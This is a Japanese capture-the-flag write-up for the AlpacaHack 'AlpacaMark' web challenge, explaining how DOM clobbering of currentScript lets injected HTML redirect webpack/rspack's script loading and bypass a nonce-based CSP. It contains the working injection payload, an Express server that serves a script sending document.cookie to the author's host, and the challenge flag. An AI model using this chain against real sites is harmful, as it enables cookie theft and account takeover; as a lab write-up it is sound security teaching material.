- Source: AlpacaHack Round 11 (web)
- Author: ark
自由にMarkdownを書けるWebサイト。
ejsが使用されており、nonceとmarkdownを埋め込んでいる。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width,initial-scale=1.0" />
<title>AlpacaMark</title>
<script nonce="<%= nonce %>" src="/main.js" defer></script>
<link href="/main.css" rel="stylesheet" />
</head>
<body>
<main class="container">
<h1>AlpacaMark</h1>
<div id="previewElm"></div>
<form id="renderElm" action="/" method="get">
<textarea name="markdown" required><%- markdown %></textarea>
<button type="submit">Render</button>
</form>
</main>
</body>
</html>
nonceはランダムで、推測困難。
app.get("/", (req, res) => {
const nonce = crypto.randomBytes(16).toString("base64");
res.setHeader(
"Content-Security-Policy",
`script-src 'strict-dynamic' 'nonce-${nonce}'; default-src 'self'; base-uri 'none'`
);
const markdown = req.query.markdown?.slice(0, 512) ?? DEFAULT_MARKDOWN;
res.render("index", {
nonce,
markdown,
});
});
markdownには制限なく自由に入力可能なため、</textarea>でtextareaから脱出することで任意のHTMLが挿入できる。しかし、scriptタグを挿入してもnonceが無いので実行できない。
ここでCSPを見ると、script-src 'strict-dynamic'という見慣れない記述がある。

ドキュメントを見るに、どうやら既にnonceで信頼が与えられているmain.jsの内部で呼び出されたスクリプトは、連鎖的に信頼できるものと見なして実行が許可されるらしい。
main.jsを見るとこのようなコードがあった。5というスクリプトをサーバーからロードしている。
5: function(e, t, r) {
r.a(e, async function(e, t) {
try {
r(129);
var n = r(163);
let e = localStorage.getItem("markdown") ?? await r.e("5").then(r.t.bind(r, 185, 19)).then( ({default: e}) => e(location.search.slice(1)).markdown ?? "");
if (localStorage.setItem("markdown", e),
renderElm.addEventListener("submit", () => localStorage.removeItem("markdown")),
e) {
let t = document.createElement("article");
t.innerHTML = n.Qc(e).replaceAll(":alpaca:", "\uD83E\uDD99"),
previewElm.appendChild(t)
}
let s = document.querySelector("textarea[name=markdown]");
s.rows = s.value.split("\n").length + 1,
t()
} catch (e) {
t(e)
}
}, 1)
},
devtoolsのネットワークタブを見ると、確かに5.jsがロードされていた。
さて、この5.jsのホスト部分はpublicPathが参照される。そのpublicPathはどうやってセットされるかというと、これもmain.js内にコードがある。
( () => {
r.g.importScripts && (e = r.g.location + "");
var e, t = r.g.document;
if (!e && t && (t.currentScript && "SCRIPT" === t.currentScript.tagName.toUpperCase() && (e = t.currentScript.src),
!e)) {
var n = t.getElementsByTagName("script");
if (n.length)
for (var s = n.length - 1; s > -1 && (!e || !/^http(s?):/.test(e)); )
e = n[s--].src
}
if (!e)
throw Error("Automatic publicPath is not supported in this browser");
r.p = e = e.replace(/^blob:/, "").replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/")
}
)(),
難読化されているので分かりづらいが、順序としては
t.currentScript.srct.getElementsByTagName("script")[-1].src
の優先度でセットされる。
つまり、t.currentScriptが存在しない時(IEなど古いブラウザ?)はDOMで一番最後のscriptタグがpublicPathになる。
ここで、main.jsはdefer付きで読み込まれていたことを思い出そう。これはHTMLのパースが完了してからscriptが実行されるということを意味する。任意のHTMLを挿入できるため、t.getElementsByTagName("script")[-1]は自由に操作できる。
admin botは最新のpuppeteerを使用しているが、どうにかしてt.currentScriptが存在しない(厳密には"SCRIPT" === t.currentScript.tagName.toUpperCase()を満たさない)状態を作れないだろうか。
この問題で使われているrspackにはDOM ClobberingによってcurrentScriptを破壊することが可能という脆弱性が報告されていた。
これらを参考に以下のHTML(markdown)を挿入してみる。
imgタグでDOM Clobberingを行った場合、t.currentScript.tagName.toUpperCase()がIMGになるため、"SCRIPT" === t.currentScript.tagName.toUpperCase()がfalseになりif文を回避できる。
ここではCSPエラー回避のためscriptタグに"type="text/plain"を指定しており、スクリプトが実行されなくなるが、DOMはちゃんと生成されているので問題ない。
</textarea>
<img name="currentScript">
<script type="text/plain" src="https://attacker.site"></script>
devtoolsのネットワークタブを見ると、https://attacker.site/5.jsのロードを試みており、publicPathの操作に成功していることが分かる。
/5.jsに適当なスクリプトを配置するサーバーを書く。
const express = require('express');
// logger
function accessLogger(req, res, next) {
const start = Date.now();
res.on('finish', () => {
const duration = Date.now() - start;
console.log(`${req.method} ${req.originalUrl} ${res.statusCode}`);
});
next();
}
const app = express();
app.use(accessLogger);
// 5.js
app.get('/5.js', (req, res) => {
res.send(`location = "https://ctf-server.claustra01.net/flag?" + document.cookie`);
});
const port = process.env.PORT || 50000;
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});
attacker.siteを自分のサーバーに差し替えたURLを報告するとFlagが得られた。
http://alpaca-mark:3000/?markdown=</textarea><img name="currentScript"><script type="text/plain" src="https://ctf-server.claustra01.net"></script>
Alpaca{the_DOM_w0rld_is_po11uted_and_clobber3d}
